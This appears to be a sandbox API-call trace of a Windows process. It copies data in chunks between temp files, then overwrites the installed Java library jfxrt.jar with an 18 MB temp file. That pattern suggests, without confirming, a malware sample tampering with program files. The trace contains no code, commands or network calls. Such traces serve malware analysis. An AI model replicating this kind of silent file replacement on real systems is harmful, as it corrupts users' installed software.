	[0254.563] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.563] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.564] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.564] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.565] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.565] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.565] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.565] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.566] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.566] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.567] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.567] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.568] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.568] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.568] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.569] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.570] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.570] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.571] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.571] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.572] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.572] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.573] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0254.573] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0254.573] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x6916, lpOverlapped=0x0) returned 1
	[0254.574] WriteFile (in: hFile=0x1b0, lpBuffer=0xc00010e000*, nNumberOfBytesToWrite=0x6916, lpNumberOfBytesWritten=0xc0000fbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesWritten=0xc0000fbb74*=0x6916, lpOverlapped=0x0) returned 1
	[0254.574] ReadFile (in: hFile=0x198, lpBuffer=0xc00010e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000fbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00010e000*, lpNumberOfBytesRead=0xc0000fbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0254.574] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4fa5bcd8aebeeada940017b46bfa61a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4fa5bcd8aebeeada940017b46bfa61a1")) returned 0
	[0254.574] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4fa5bcd8aebeeada940017b46bfa61a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4fa5bcd8aebeeada940017b46bfa61a1")) returned 0
	[0254.574] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4fa5bcd8aebeeada940017b46bfa61a1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4fa5bcd8aebeeada940017b46bfa61a1")) returned 0x20
	[0254.575] CloseHandle (hObject=0x198) returned 1
	[0254.575] CloseHandle (hObject=0x1b0) returned 1
	[0255.039] SwitchToThread () returned 1
	[0255.045] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0255.057] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0255.197] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0255.358] SetEvent (hEvent=0x188) returned 1
	[0255.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\549229d8af8fe9007c6ff46ac3f34004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\549229d8af8fe9007c6ff46ac3f34004"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0255.368] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000031c04 | out: lpMode=0xc000031c04) returned 0
	[0255.368] GetFileType (hFile=0x19c) returned 0x1
	[0255.368] WriteFile (in: hFile=0x19c, lpBuffer=0xc0029b0000*, nNumberOfBytesToWrite=0x1166b99, lpNumberOfBytesWritten=0xc000031bec, lpOverlapped=0x0 | out: lpBuffer=0xc0029b0000*, lpNumberOfBytesWritten=0xc000031bec*=0x1166b99, lpOverlapped=0x0) returned 1
	[0261.808] SetEvent (hEvent=0x124) returned 1
	[0261.808] CloseHandle (hObject=0x19c) returned 1
	[0262.896] SetEvent (hEvent=0x124) returned 1
	[0262.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0262.898] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000031d74 | out: lpMode=0xc000031d74) returned 0
	[0262.899] GetFileType (hFile=0x19c) returned 0x1
	[0262.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\549229d8af8fe9007c6ff46ac3f34004" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\549229d8af8fe9007c6ff46ac3f34004"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0262.899] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc000031d74 | out: lpMode=0xc000031d74) returned 0
	[0262.899] GetFileType (hFile=0x1ac) returned 0x1
	[0262.899] VirtualAlloc (lpAddress=0xc000266000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000266000
	[0262.900] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.901] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.902] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.902] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.903] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.904] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.904] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.904] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.905] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.905] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.906] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.906] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.907] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.907] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.908] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.908] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.909] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.910] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.911] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.911] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.912] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.912] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.913] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.913] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.914] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.914] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.915] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.915] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.916] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.916] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.916] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.916] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.917] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.918] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.919] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.920] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.920] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.920] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.921] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.921] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.922] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.922] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.923] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.923] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.923] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.924] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.924] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.924] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.925] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.926] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.927] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.927] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.928] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.928] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0262.931] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0262.932] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
